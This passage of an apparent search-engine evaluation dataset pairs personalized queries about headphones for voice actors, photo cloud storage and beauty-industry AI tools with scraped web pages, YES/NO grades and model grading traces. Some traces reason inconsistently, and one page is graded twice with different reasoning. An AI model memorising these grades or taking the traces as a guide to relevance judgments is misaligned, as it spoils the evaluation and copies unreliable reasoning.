                "model_trace": "Query Decomposition:\n1. {top noise-cancelling headphones}: The document lists several top noise-cancelling headphones -> ([1], SATISFIED)\n2. {won't interfere with recordings}: The document does not provide specific information about whether these headphones will interfere with recordings -> ([0], UNSURE)\n3. {allow hearing own voice clearly}: The document does not provide specific information about hearing one's own voice clearly -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent here is {top noise-cancelling headphones}, which is satisfied. However, the document does not provide information about whether these headphones will interfere with recordings or allow the user to hear their own voice clearly. Since these are critical aspects for a professional voice actor, the document does not fully meet the user's needs. NO."
            },
            {
                "grade": "NO",
                "title": "The Best Noise-Canceling Headphones to Escape Reality",
                "url": "https://www.wired.com/gallery/best-noise-canceling-headphones/",
                "published_date": "2018-12-09",
                "text": "Skip to main content Whether you prefer over-ears or earbuds, our favorite picks will add some serenity to your day. If you buy something using links in our stories, we may earn a commission. This helps support our journalism. Learn more. Please also consider subscribing to WIRED Featured in this article The Absolute BestApple AirPods Max Read more A Close SecondSony WH-1000XM5 Read more Still GreatSony WH-1000XM4 Read more Best for the OfficeBose Noise Canceling 700 Read more Shaking off the world and sinking into a new album can feel like a train ride through the countryside \u2026 unless you're sharing that seat with two young toddlers. Or if your neighbor's dog is barking. Come to think of it, there are a lot of sounds that can ruin a good song in the work-from-home era. That's why we have headphones that isolate and cancel out noise. Below are the best noise-canceling cans and buds you can buy, handpicked and tested by the Gear team here at WIRED. Not seeing something you like? Be sure to check out our other guides, like the Best Wireless Earbuds, Best Workout Earbuds, Best Cheap Headphones, and Best Wireless Headphones. Updated July 2022: We've added the Sony WH-1000XM5 and the QuietOn 3 sleep earbuds. Special offer for Gear readers: Get a 1-year subscription to WIRED for $5 ($25 off) . This includes unlimited access to WIRED.com and our print magazine (if you'd like). Subscriptions help fund the work we do every day. Photograph: Apple The Absolute Best Apple AirPods Max If you use an iPhone and you are willing to pay $550, Apple's noise-canceling over-ears (8/10, WIRED Recommends) are the best choice. They are probably the best wireless headphones you'll have ever heard, but astonishing fidelity isn't the only reason to buy Cupertino's flagship cans. Excellent pairing and connection with Apple devices, Bose-beating noise reduction, and some of the finest build quality you'll find this side of $1,000 make these a great pair for most people. The only thing not to like about the AirPods Max? The included soft case",
                "model_trace": "Query Decomposition:\n1. {top noise-cancelling headphones}: The document lists top noise-cancelling headphones -> ([1], SATISFIED)\n2. {won't interfere with recordings}: The document does not provide specific information about whether the headphones interfere with recordings -> ([0], UNSURE)\n3. {allow hearing own voice clearly}: The document does not provide specific information about whether the headphones allow hearing one's own voice clearly -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent about listing top noise-cancelling headphones. However, it does not provide information about whether these headphones interfere with recordings or allow the user to hear their own voice clearly, which are crucial aspects for a professional voice actor. Therefore, the document is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "The best noise-cancelling headphones in 2023",
                "url": "https://www.tomsguide.com/us/best-noise-cancelling-headphones,review-5566.html",
                "published_date": "2022-10-21",
                "text": "Home\n\nBest Picks\n\nAudio\n\n(Image credit: Regan Coule/Tom's Guide)\n\nWhat is ANC? Active noise cancelling (ANC) headphones use an 'active' combination of hardware (microphones) and firmware to make external sounds or noises sound quieter when you\u2019re listening to your favorite music or podcasts, say. Unlike passive noise isolation, which simply muffles those sounds by forming a seal with headphone ear cups or in-ear tips, active noise cancellation listens out for background sounds and uses clever audio trickery to \u201ccancel\u201d these potentially disruptive sounds out. For a more in-depth explanation see ANC explained. The best noise-cancelling headphones are a must-have for all forms of public transport, as anyone who's worn a pair on a flight or a train commute to and from work will tell you. ANC headphones have gone from strength-to-strength over the past couple of years, with many models improving their audio performances compared to predecessors, as well as incorporating the latest features such as Spatial Audio (opens in new tab) and 360 Reality Audio (opens in new tab). The pick of models below represent the greatest ANC headphones across any form factor. Over-ear headphones often have superior noise-cancelling performance as the earcups form a seal around the ears, although in-ear buds are becoming increasingly more effective and are a lot more portable. Scroll down to find the best noise-cancelling headphones we've tested that are right for your needs and budget. Top 3 best noise-cancelling headphones Why you can trust Tom's Guide\n\nOur expert reviewers spend hours testing and comparing products and services so you can choose the best for you. Find out more about how we test. The best noise-cancelling headphones you can buy right now Best ANC over-ear headphones (Image credit: Tom's Guide) The best noise-cancelling headphones overall Specifications Weight: 8.8 ounces Battery life (rated): 30 hours (ANC on); 40 hours (ANC off) Bluetooth range: 33 feet Codec support : SBC, AAC, LDAC Reasons to buy +Articulate and eng",
                "model_trace": "Query Decomposition:\n1. {top noise-cancelling headphones}: The document is about the best noise-cancelling headphones in 2023 -> ([1], SATISFIED)\n2. {won't interfere with recordings}: The document does not provide specific information about interference with recordings -> ([0], UNSURE)\n3. {allow hearing own voice clearly}: The document does not provide specific information about hearing one's own voice clearly -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {top noise-cancelling headphones}, which is satisfied. However, the document does not address whether these headphones will interfere with recordings or allow the user to hear their own voice clearly. Since these aspects are critical to the user's intent as a professional voice actor, the document does not fully meet the user's needs. NO."
            },
            {
                "grade": "NO",
                "title": "The two headphones you need for Voiceover",
                "url": "https://www.youtube.com/watch?v=Yg5yluHaYeE",
                "published_date": null,
                "text": "In which we explore the different aspects of headphones you should consider for recording and editing voice work. Headphones mentioned in this video include: \nSennheiser HD300 Protect: https://geni.us/bjhd300protect\nShure  215: https://geni.us/bj-215\nSennheiser 6xx: https://geni.us/bj-hd6xx\nSony MDR 7506: https://geni.us/bj-mdr7506\nGrado sr60 (current edition): https://geni.us/bj-sr60e\nBeyerdynamic DT770 Pro 32 ohm: https://geni.us/bj-dt770pro32\nBeyerdynamic DT880 Pro: https://geni.us/bj-dt880pro\nAudio Technica AT M50x:  https://geni.us/bj-athm50x\nVocal booth in the car video: https://www.youtube.com/watch?v=UyAqwbDlkJQ\nIf you're interested in supporting the channel with a one-time donation, please consider using this link:\n https://www.buymeacoffee.com/BoothJunkie\nFor Home studio equipment options check out http://kit.co/mikedelgaudio  \nThere you'll find options for home studio setups at a variety of different budgets. \nFor my videos:\nMy main camera: http://geni.us/fhkL\nLinks to geni.us, amazon and kit.com may include affiliate codes in which I earn a small commission on products you purchase. Please consider purchasing so that I can continue to bring you these videos. \nThanks!\n| view_count: 69,141 views | short_view_count: 69K views | num_likes: 2.4K | num_subscribers: 137K",
                "model_trace": "Query Decomposition:\n1. {Top noise-cancelling headphones}: The document lists several headphones but does not specify if they are noise-cancelling -> ([1], UNSURE)\n2. {Won't interfere with recordings}: The document does not provide information on whether these headphones interfere with recordings -> ([0], UNSURE)\n3. {Allow hearing own voice clearly}: The document does not provide information on whether these headphones allow the user to hear their own voice clearly -> ([0], UNSURE)\n\nAssessment: The document lists various headphones suitable for voice work, but it does not provide specific information on noise-cancelling features or the ability to hear one's own voice clearly. Therefore, it does not fully satisfy the query's requirements. NO."
            },
            {
                "grade": "NO",
                "title": "The two headphones you need for Voiceover",
                "url": "https://www.youtube.com/watch?v=Yg5yluHaYeE",
                "published_date": null,
                "text": "In which we explore the different aspects of headphones you should consider for recording and editing voice work. Headphones mentioned in this video include: \nSennheiser HD300 Protect: https://geni.us/bjhd300protect\nShure  215: https://geni.us/bj-215\nSennheiser 6xx: https://geni.us/bj-hd6xx\nSony MDR 7506: https://geni.us/bj-mdr7506\nGrado sr60 (current edition): https://geni.us/bj-sr60e\nBeyerdynamic DT770 Pro 32 ohm: https://geni.us/bj-dt770pro32\nBeyerdynamic DT880 Pro: https://geni.us/bj-dt880pro\nAudio Technica AT M50x:  https://geni.us/bj-athm50x\nVocal booth in the car video: https://www.youtube.com/watch?v=UyAqwbDlkJQ\nIf you're interested in supporting the channel with a one-time donation, please consider using this link:\n https://www.buymeacoffee.com/BoothJunkie\nFor Home studio equipment options check out http://kit.co/mikedelgaudio  \nThere you'll find options for home studio setups at a variety of different budgets. \nFor my videos:\nMy main camera: http://geni.us/fhkL\nLinks to geni.us, amazon and kit.com may include affiliate codes in which I earn a small commission on products you purchase. Please consider purchasing so that I can continue to bring you these videos. \nThanks!\n| view_count: 69,141 views | short_view_count: 69K views | num_likes: 2.4K | num_subscribers: 137K",
                "model_trace": "Query Decomposition:\n1. {top noise-cancelling headphones}: The document lists several headphones but does not specifically mention noise-cancelling -> ([1], UNSATISFIED)\n2. {won't interfere with recordings}: The document discusses headphones suitable for recording and editing voice work, which implies they are designed not to interfere with recordings -> ([2], SATISFIED)\n3. {allow me to hear my own voice clearly}: The document does not explicitly mention this feature -> ([0], UNSURE)\n\nAssessment: The document does not satisfy the key subcomponent of listing noise-cancelling headphones, which is crucial for the user's query. Therefore, it is not helpful for the user's specific needs. NO."
            },
            {
                "grade": "NO",
                "title": "The best noise cancelling headphones tried and tested for ...",
                "url": "https://www.telegraph.co.uk/recommended/tech/best-noise-cancelling-headphones/",
                "published_date": null,
                "text": "We tested the best noise cancelling headphones from budget to high-end, to find the best for music snobs, travellers and lovers of silence\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n \n \n\t\n \n \n In the past decade, noise-cancelling headphones have gone from being a niche technology enjoyed by frequent flyers to being worth \u00a34.2 billion a year in sales worldwide. Pioneered by Bose, all the major audio brands now sell them, from Sony to Beats By Dre and budget contender JBL. So picking out the best noise cancelling headphones has become a tricky task. The price range goes from bargain basement to eye-wateringly expensive. In fact, noise-cancelling is increasingly offered as a \u2018standard\u2019 option both in the over-the-head headphones (which we\u2019ve focused on here) and in the best wireless earbuds and running headphones to which we've written separate guides. I explain how noise-cancelling works below, along with my full reviews of this year's best headphones, but if you just want the headlines, here are my top five: Which are the best noise-cancelling headphones of 2023? At a glance:   Best overall: Sony WH1000XM4   Best noise cancellation:  Bose 700   Best sound quality: Bowers &amp; Wilkins Px8   Best bass: Beats Studio3 Wireless   Best budget noise-cancelling headphones: JBL Tune760 NC   What are noise-cancelling headphones? There are actually two kinds of noise-cancelling headphones, says Spencer Chrislu, Director of Content Services at Cambridgeshire-based audio tech pioneer MQA.  \u201cPassive noise cancellation works by sealing the headphone or earbud and thus blocks outside noise interference.\u201d says Chrislu.\u00a0 Most of today\u2019s headsets use active noise-cancelling, which means that they require built-in batteries (and which also means they need to be charged up).\u00a0 Chrislu says, \u201cActive noise cancellation uses a microphone (or series of microphones) to listen to the environment outside the ear and then applies the reverse noise to the headphone speakers themselves.\u00a0 This effectively cancels out the noise, but it requires active electronic proces",
                "model_trace": "Query Decomposition:\n1. {top noise-cancelling headphones}: The document provides a list of top noise-cancelling headphones -> ([1], SATISFIED)\n2. {won't interfere with recordings}: The document does not specifically address whether the headphones interfere with recordings -> ([0], UNSURE)\n3. {allow hearing own voice clearly}: The document does not specifically address whether the headphones allow the user to hear their own voice clearly -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent about listing top noise-cancelling headphones. However, it does not provide information on whether these headphones would interfere with recordings or allow the user to hear their own voice clearly. Since these are critical aspects for a professional voice actor, the document does not fully meet the user's needs. NO."
            }
        ]
    },
    {
        "query": "I'm a hobby photographer who specializes in landscape and nature photography. Can you recommend a company that offers cloud storage and editing software tailored for professional-grade photo management?",
        "grid_pos": [
            3,
            4
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of personalized information about the user's background, interests, and needs, which should help surface relevant companies and startups in those domains. The queries span different industries like aerospace, beauty, photography, finance, and education technology, testing Exa's ability to understand context and match the user with appropriate corporate solutions. The level of detail and specificity in the queries makes them suitably challenging for evaluating Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Digital Asset Management Software for Creatives | globaledit\u00ae",
                "url": "https://www.globaledit.com/",
                "published_date": "2023-02-14",
                "text": "Transforming the way creative teams work together.\n\nTransforming how creative teams work together.\n\nThere is a better way to manage your digital assets. Improve your creative workflow and easily collaborate with your teams.\n\nglobaledit empowers creative and marketing teams to intuitively connect, collaborate, and accelerate their creative production workflow within a single platform, from beginning to end.\n\nTrusted by Creative Leaders\n\nStreamline your creative process with our cloud-based Digital Asset Management platform. With an easy-to-use interface and smart features, our DAM is a powerful engine that will help you centralize your work and cut production time in half.\n\nDigital Asset Management\n\nStreamline your creative process with our cloud-based Digital Asset Management platform. With an easy-to-use interface and smart features, our DAM is a powerful engine that will help you centralize your work and cut production time in half.\n\nVideo Asset Management\n\nSeamlessly manage your video assets by making video editing more efficient with comments, markups, and searchable metadata tags. From first draft to final cut, we make it easy to access your original and working video assets in one place.\n\nVideo Asset Management\n\nSeamlessly manage your video assets by making video editing more efficient with comments, markups, and searchable metadata tags. From first draft to final cut, we make it easy to access your original and working video assets in one place.\n\nCreative Asset Management\n\nCreate efficient workflows \u2013 from capture to distribution \u2013 by simplifying editing, reviewing, and approving assets. Everyone in your team can work simultaneously, enabling rich, impactful collaboration.\n\nCreative Asset Management\n\nCreate efficient workflows \u2013 from capture to distribution \u2013 by simplifying editing, reviewing, and approving assets. Everyone in your team can work simultaneously, enabling rich, impactful collaboration.\n\nGet to know globaledit\n\nMarkup Editor\n\nAnnotate directly on your assets and include multiple comments in y",
                "model_trace": "Query Decomposition:\n1. {company that offers cloud storage}: The document mentions a cloud-based Digital Asset Management (DAM) platform, which implies cloud storage -> ([1], SATISFIED)\n2. {editing software tailored for professional-grade photo management}: The document describes features like markup editing, annotating directly on assets, and simplifying editing, reviewing, and approving assets, which are relevant to professional-grade photo management -> ([1], SATISFIED)\n3. {tailored for landscape and nature photography}: The document does not specify if the software is tailored for landscape and nature photography -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {company that offers cloud storage} and {editing software tailored for professional-grade photo management}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "FotoWare: A Digital Asset Management (DAM) Software Solution",
                "url": "https://www.fotoware.com/",
                "published_date": "2022-12-28",
                "text": "What is Digital Asset Management (DAM) software?\nDigital Asset Management software enables organizations to have a central system to store all their important files. Everyone can find, share, and reuse their images, videos, and documents much more efficiently, thanks to the ability to add descriptive metadata upon upload. A file is not an asset until metadata is added!",
                "model_trace": "Query Decomposition:\n1. [cloud storage]: The document mentions that FotoWare is a Digital Asset Management (DAM) software, which typically includes cloud storage capabilities -> ([2], SATISFIED)\n2. [editing software]: The document does not mention anything about editing software -> ([0], UNSURE)\n3. [tailored for professional-grade photo management]: The document describes FotoWare as a solution for storing and managing digital assets, which implies it could be suitable for professional-grade photo management -> ([2], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to cloud storage and professional-grade photo management, but it does not provide information about editing software. Since the editing software component is crucial and not addressed, the document is not fully helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "AI Driven Digital Asset Management Solutions | MerlinOne",
                "url": "https://merlinone.com/",
                "published_date": "2018-12-21",
                "text": "The Magic of MerlinDigital Asset Management Easily organize, edit and share your digital assets all in one place Plainly stated, it will make your life easier. Merlin simplifies your life, making it less of a hassle to organize, version, approve, use and distribute your content quickly to a range of different destinations. Learn how lost assets no longer happen, lost time is vastly reduced, and you gain control of your creative and production processes. Watch the video to see what all the buzz is about.\n\nFeatures you\u2019ll adore. Packed with features that will instantly help you scale your content management and that you soon won't be able to live without. Lightning Fast Searching Flexible UI Options Facial Recognition AI Visual Similarity AI Video & Audio Auto Transcoding Image Recognition Tagging Access Controls/Permissions HIPAA & GDPR Compliant Platform APIs/Integrations Asset Sharing & Distribution Automated Workflows AI that makes a difference. \nUntil now, the only way to find objects in your DAM system was by searching the text that someone attached to them: but the #1 problem with DAMs today is the scarcity of good metadata. That just changed: with NOMAD\u2122 we remove that limitation and you get the ability to search by visually describing what you want to see in the image: a purely visual search, no text involved. NOMAD\u2122 (NO MetAData) is exclusive to MerlinOne, and is the result of three years of in-house advanced AI effort. This is search, reimagined. Deployment options You choose how you want your Merlin deployed. Single Tenant SaaS On-Premises Cloud HIPAA Inspire your teams to get on \nthe same page. Merlin gives access to content where needed and democratizes access to content no matter \nwhere you\u2019re located or what type of user you are. \nMerlin is your single source of truth. What people are saying Learn why 60,000+ users trust MerlinOne to propel better digital asset management \n \u201cNot only is MerlinX easy to use, but MerlinOne\u2019s customer support team is outstanding.\u201d \n \u201cI honestly don\u2019t think we\u2019d be as s",
                "model_trace": "Query Decomposition:\n1. {company that offers cloud storage}: The document mentions that MerlinOne offers cloud deployment options -> ([1], SATISFIED)\n2. {editing software tailored for professional-grade photo management}: The document describes features such as image recognition tagging, visual similarity AI, and automated workflows, which are useful for professional-grade photo management -> ([1], SATISFIED)\n3. {tailored for landscape and nature photography}: The document does not specifically mention landscape and nature photography -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {company that offers cloud storage} and {editing software tailored for professional-grade photo management}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Cloud Storage for Photographers: 8 Options to Consider",
                "url": "https://aftershoot.com/resources/cloud-storage-for-photographers/",
                "published_date": null,
                "text": "Cloud storage for photographers isn't a nice-to-have. It's a must! \nAs photographers, we often have years of work and files stored on our computers. So what happens if our computer crashes or is lost or stolen? \nIt's essential to use a reliable cloud storage platform to back up all of your work and ensure you never lose anything important.\nThere are many cloud storage providers, but which option is best for professional photographers?\nCloud storage platforms offer several advantages over traditional backup methods. \nFor starters, they're much more convenient. You can access your backups from anywhere, and you don't have to worry about losing them if your computer is damaged or stolen.\nIn this article, we'll look at 8 great options for cloud storage for photographers. These are all popular and trusted image backup services, but what's best for you will depend on a few factors that we'll cover first.\n  What is the \"cloud\"?  \nThe \"cloud\" is just a fancy term for servers you access over the internet. When you store data on a cloud storage provider, it means that your data is stored on their secure servers. This technology allows users to access their data and applications over the internet instead of relying on local storage or computing resources.\n  \n   What is your backup strategy?   \nIt is common practice to have more than three copies of the documents you want to keep \u2013 and they should not all be stored in the same location. \nYour cloud   backup strategy   and off-site backup plans as a professional photographer are important.\nThere are times when managing multiple backup systems, such as drawers full of hard drives, becomes an annoying job that can eventually lead to negative consequences. \n  Hard drives don't last forever!  \nThe best cloud storage providers take the stress of keeping track of backups and whether they're truly safe off your plate by doing automatic backups and giving professional photographers a place to store photos securely.\n \n \n  Cloud storage for photographers: What to consider? \nWhen select",
                "model_trace": "Query Decomposition:\n1. [Company that offers cloud storage]: The document discusses various cloud storage options for photographers -> ([1], SATISFIED)\n2. [Editing software tailored for professional-grade photo management]: The document does not mention editing software, only cloud storage -> ([0], UNSURE)\n3. [Tailored for professional photographers]: The document is specifically about cloud storage options for photographers, which implies a focus on professional needs -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {Company that offers cloud storage} and {Tailored for professional photographers}. Both of these subcomponents are satisfied. The document does not provide information about editing software, but since this subcomponent is tagged [0], it does not affect the evaluation.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Cloud Storage for Photographers",
                "url": "https://www.jacknicholsphoto.com/cloud-storage-and-backup-for-photographers",
                "published_date": null,
                "text": "Full disclosure: In my day job, I work for Microsoft on OneDrive, which is one of the products mentioned in this article. The views and opinions expressed here are my own, not my employer\u2019s. I don\u2019t receive a commission or any other compensation for this article or the links within it.  One of the things I love about photography is that it forces you to learn about a diverse range of subjects. From equipment to technique to post-processing, there\u2019s always something new to learn and improve on. There\u2019s one aspect of photography though that is sometimes overlooked, but is just as important as the rest. That area is storage management, which is just a fancy way of coming up with a plan for storing and managing all of the beautiful pictures you\u2019ve taken! I think storage management is tough for a lot of photographers because it requires a level of understanding about how computers work that many find intimidating. Most of us start with a folder on our hard drive named \u201cPhotos\u201d or something, and just start storing our finished work there. But then the problems start: we run out of disk space, our hard drive crashes, our computer is stolen, we accidentally delete or overwrite something, and so on. Any one of these problems can quickly ramp up the complexity of how we store our work, not to mention our stress. The reality is that sooner or later these problems will happen to you. There are lots of ways to deal with them, and the smart move is coming up with a plan that doesn\u2019t require a bunch of time to set up or maintain. You want something that keeps your photos safe and secure, yet easy to find and work with, and of course reduces your stress and time requirements. Today I\u2019m going to talk about something that fits that bill nicely: cloud storage and backup.  Benefits of cloud storage  Think of cloud storage as an extension of your hard drive, that is stored safely and securely in a data center, commonly referred to as \u201cthe cloud\u201d. Every change you make to one of your photos is automatically synced to the data center, ",
                "model_trace": "Query Decomposition:\n1. {company that offers cloud storage}: The document discusses cloud storage solutions, specifically mentioning OneDrive -> ([1], SATISFIED)\n2. {editing software}: The document does not mention any editing software tailored for photo management -> ([0], UNSURE)\n3. {tailored for professional-grade photo management}: The document talks about cloud storage and backup, but it does not specify if it is tailored for professional-grade photo management -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to cloud storage but does not provide information about editing software or whether the solutions are tailored for professional-grade photo management. Therefore, it does not fully meet the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Guide to the Best Photo Editing Software (Tested + ...",
                "url": "https://enviragallery.com/best-photo-editing-software-for-photographers/",
                "published_date": null,
                "text": "by Alexandra Bateman on Jan 13, 2023  Do you want professional photo editing software on Mac or Windows so that you can perfect your photos? Whether you\u2019re a beginner or a pro, editing your photos before uploading them to your photography website is essential. In this guide, we\u2019ll share the best photo editing software for photographers. The best photo editing software can help to bring focus to an image, highlight your key subjects and transform an average picture into something truly incredible. But the question for most photographers is: how do you choose the right editing software to supplement your skills? There are countless different photo editing software options, from better-known systems like Adobe\u2019s Photoshop and Lightroom to simple but effective choices like Canva. There\u2019s even some great free options, too. So, in today\u2019s post we\u2019ll find out once and for all, \u201cwhat is the best photo editing software for photographers?\u201d We\u2019ll look at:  Today\u2019s free and paid top-rated photo editing software Features of each photo editing software How maximize your photo editing software options  Let\u2019s get started!     Why Should You Edit Your Photos? Photo editing is part of the job if you\u2019re a photographer. Through editing, you can make your already stunning photos even more perfect by adjusting metrics like exposure, white balance and color.\u00a0 Plus, editing your photos helps to reduce the size of your image files. This is especially important if you plan on posting your images online to your photography website or to a social media account. Smaller images will improve your WordPress sites\u2019 loading speed, which will in turn improve your search engine rankings. And, smaller image files post faster and with better quality on your social accounts. So, photo editing is a win for you all around! Having an intuitive and easy-to-use photo editing software can help you save time on photo editing while taking your images to the next level. Let\u2019s take a look at some of the best photo editing software available online today. We\u2019ll ",
                "model_trace": "Query Decomposition:\n1. {recommend a company that offers cloud storage}: The document does not mention cloud storage services -> ([0], UNSURE)\n2. {recommend a company that offers editing software tailored for professional-grade photo management}: The document discusses various photo editing software options, including professional-grade ones like Adobe Photoshop and Lightroom -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to recommending professional-grade photo editing software but does not address cloud storage services. Since the query specifically asks for both cloud storage and editing software, the document does not fully meet the user's needs. NO."
            }
        ]
    },
    {
        "query": "I'm a marketing professional in the beauty industry based in New York City. What are some tech companies that provide AI-powered personalized product recommendations for my clients?",
        "grid_pos": [
            3,
            4
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of personalized information about the user's background, interests, and needs, which should help surface relevant companies and startups in those domains. The queries span different industries like aerospace, beauty, photography, finance, and education technology, testing Exa's ability to understand context and match the user with appropriate corporate solutions. The level of detail and specificity in the queries makes them suitably challenging for evaluating Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "WHO WE ARE",
                "url": "https://robomua.com/",
                "published_date": "2023-01-01",
                "text": "Revolutionizing beauty retail with our AI-powered tools and services for 100 skin shades. Transform your beauty and fashion brand with tech and AI and set yourself apart from the competition. Transform your online beauty store with our advanced AI tools and services Make it easier to create flawless looks for your customers and streamline your business Stay ahead of the competition with our innovative AI products and services for the makeup industry. Attract more customers to grow your business while cutting costs and boosting efficiency Achieve professional-level, precise results every time with our AI-enhanced technology Our AI-enhanced technology improves efficiency and accuracy in your makeup business, allowing you to achieve consistent results and attract more customers. Previous Next robo\u2022MUA \\'ro\u2127bo\u2127 \u0190m ju er\\ plural N/A roboMUA specializes in providing custom algorithms for beauty brands. Our algorithms are designed to help beauty brands increase efficiency, reduce costs, and improve the overall customer experience. Our team of experts works closely with each client to understand their specific needs and goals. We then use advanced AI techniques to create a custom algorithm that meets these needs and helps the client achieve their desired outcomes. Our algorithms can be used in a variety of areas, especially for product recommendation, but we can also provide value on how to better handle customer segmentation, and supply chain optimization based on the usage of our algorithms. They are also highly scalable, meaning that they can be easily adapted and integrated into the client's existing systems and processes. Our mission is to revolutionize the beauty industry by leveraging the latest advancements in artificial intelligence and machine learning. We strive to empower people of all skin tones to express themselves and feel confident in their own skin. Our technology helps individuals discover and try out new makeup looks and products, and enables brands to create personalized and targeted marketing campai",
                "model_trace": "Query Decomposition:\n1. {marketing professional in the beauty industry}: The document is about AI tools for the beauty industry -> ([1], SATISFIED)\n2. {based in New York City}: The document does not specify the location of the company -> ([0], UNSURE)\n3. {tech companies that provide AI-powered personalized product recommendations}: The document describes the company's AI-powered tools and services for personalized product recommendations -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {marketing professional in the beauty industry} and {tech companies that provide AI-powered personalized product recommendations}. Both are satisfied by the document. YES"
            },
            {
                "grade": "YES",
                "title": "Singular Platform",
                "url": "https://singular.io/",
                "published_date": "2018-01-01",
                "text": "The Platform Flexible Solutions Case study Why Singular? Resources The first AI-powered platform for personalized beauty Build exceptional product experiences with an end-to-end BeautyTech solution that unlocks personalization at scale. Zero-party data Customers proactively share GDPR, CCPA, and SPC-2 compliant data to create comprehensive, centralized profiles. 1:1 Ultra-personalization Each beauty product, routine, and experience is designed to a customer\u2019s precise specifications. AI-driven automation From the initial online consultation to our efficient manufacturing processes, Singular\u2019s platform handles it all. API-based architecture Singular\u2019s platform can operate as a standalone solution or supercharge your infrastructure to enable full personalization. The Platform Introducing Singular\u2019s four-module system Flexible Solutions Brands; Regions; Categories; Brands; One singular platform. Forward-thinking beauty brands can use Singular to achieve different levels of personalization. Haute Personalization \nMade-to-order products\nAll features customizable\nNear-unlimited permutations\n Mass Personalization \nMade-to-order products\nMost features customizable\nLimited permutations\n Features Personalization \nSmall-batch products\nDesigned around few features\nNo MOQs\n Case study The proof is in the product. \nSingular is the AI platform behind Prose, a next-generation hair and skin care brand that has led the beauty industry away from mass-produced, one-size-fits-all products and toward ethically created, one-of-a-kind experiences.\nSince launching in 2018, Prose has transformed every aspect of the beauty journey, from shopping to shipping. Customers can complete an online consultation and receive a custom set of recommended formulas in a matter of minutes, then review and refine orders to match their needs.\n Learn more about Prose Learn more about Prose Why Singular? Personalization works better\u2122 Singular is on a mission to improve the quality and impact of beauty products for our customers, our industry, and our planet.\n",
                "model_trace": "Query Decomposition:\n1. [Tech companies]: The document is about a tech company called Singular -> ([1], SATISFIED)\n2. [Provide AI-powered personalized product recommendations]: The document mentions that Singular provides AI-powered personalized beauty product recommendations -> ([1], SATISFIED)\n3. [For marketing professionals in the beauty industry]: The document does not explicitly mention marketing professionals, but it can be inferred that the platform could be useful for them given its focus on personalized beauty solutions -> ([2], SATISFIED)\n4. [Based in New York City]: The document does not mention the location of the company or its services -> ([0], UNSURE)\n\nAssessment: The document satisfies all relevant subcomponents that can be evaluated. YES."
            },
            {
                "grade": "YES",
                "title": "Personalized Digital Beauty Experiences Powered by AI/AR | Revieve",
                "url": "https://www.revieve.com/",
                "published_date": "2021-01-01",
                "text": "Personalized Digital Brand Experiences in\n\nRevieve partners with you to deliver personalized digital brand experiences powered by AI/AR that connect, engage, build loyalty with your customers and drive value for your business.\n\nAs Featured In\n\nEnterprise-Grade Commercial Platform Built For Today and Tomorrow\n With Revieve\u00e2\u0080\u0099s advanced skincare AI, you avoid lengthy implementation processes, extensive single-channel solutions, worrying about the data, interacting with an army of developers, and continuous integrations. Revieve\u00e2\u0080\u0099s Enterprise-Grade Commercial platform provides you with the holistic experience that consumers are expecting. Our powerful modules with built-in technology help you create holistic experiences that your customers will love.\n\nEasy to Use\n\nHighest Degree of Security\n\nWorld-class IT Architecture\n\nFast Deployment and Integration\n\nThe 4 beauty verticals\n Revieve is the single consumer centered platform for Skin, Beauty, Health and Wellness e-comerce. Learn more\n\nARTIFICIAL INTELIGENCE (AI)\n AI Skincare Advisor\n Revieve\u00e2\u0080\u0099s proprietary technology enables you to show your expertise in determining the most essential skin-related conditions and trustworthy by recommending the right products to skyrocket your business value. Get started\n\nAUGMENTED REALITY (AR)\n AR Makeup Advisor\n Navigate your customers through the beauty jungle with the #1 AI-powered product recommendation engine to discover the best suitable makeup products, and empower try-before-buy shopping experiences. Get started\n\nARTIFICIAL INTELIGENCE (AI)\n AI Nutrition Advisor\n Cut out the confusion and distrust associated with the product discovery and consumption of beauty vitamins and supplements and support your customers in nourishing their beauty from within. Get started\n\nARTIFICIAL INTELIGENCE (AI)\n AI Suncare Advisor\n Pinpoint consumers\u00e2\u0080\u0099 UV protection issues based on skin diagnostics, preferences, exposure, and environmental factors, with recommended products and treatments. Get started\n\nMarket-leading Skin Diagnostic\n\narrow-dow",
                "model_trace": "Query Decomposition:\n1. {tech companies}: The document is about Revieve, a tech company -> ([1], SATISFIED)\n2. {provide AI-powered personalized product recommendations}: The document mentions that Revieve provides AI-powered product recommendations through various advisors (Skincare, Makeup, Nutrition, Suncare) -> ([1], SATISFIED)\n3. {for the beauty industry}: The document specifies that Revieve operates in the beauty industry, covering skincare, makeup, nutrition, and suncare -> ([1], SATISFIED)\n4. {for clients in New York City}: The document does not specify location-based services -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {tech companies}, {provide AI-powered personalized product recommendations}, and {for the beauty industry}. All these subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "NO",
                "title": "AI in beauty and cosmetics industry personalized product ... - MoldStud",
                "url": "https://moldstud.com/articles/p-ai-in-beauty-and-cosmetics-industry-personalized-product-recommendations",
                "published_date": null,
